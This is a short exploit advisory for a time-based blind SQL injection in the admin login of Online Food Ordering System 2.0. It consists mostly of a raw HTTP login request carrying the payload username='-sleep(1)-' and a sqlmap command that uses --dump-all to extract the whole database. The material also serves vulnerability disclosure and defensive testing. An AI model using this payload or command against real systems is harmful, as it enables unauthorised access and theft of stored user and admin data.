Online Food Ordering System 2.0 SQL Injection Vulnerability

# Exploit Title: Online Food Ordering System v2 - Sql Injection (Time-Based Blind)
# Exploit Author: Anıl Kızıltan
# Vendor Homepage: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=16022&title=Online+Food+Ordering+System+v2+using+PHP8+and+MySQL+Free+Source+Code
# Version: 2.0 
# Tested on: Macos / XAMPP


# username parameter is vulnerable to sql injection. You can exploit this sqlmap command: (First save this raw request as req.txt)
# sqlmap -r req.txt -p username --dump-all


####### Raw Request #######

POST /fos/admin/ajax.php?action=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 32
Origin: http://localhost
Connection: close
Referer: http://localhost/fos/admin/login.php
Cookie: language=en; welcomebanner_status=dismiss; continueCode=LoPJXWEAqruytmUYHrT4FDiBZikOH1Vh8Zh7JHvLtppI9VCvXHEYd7ywQ1B5; cookieconsent_status=dismiss; PHPSESSID=eje1menuonpvjtfbl2ri965btk
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

username='-sleep(1)-'&password=a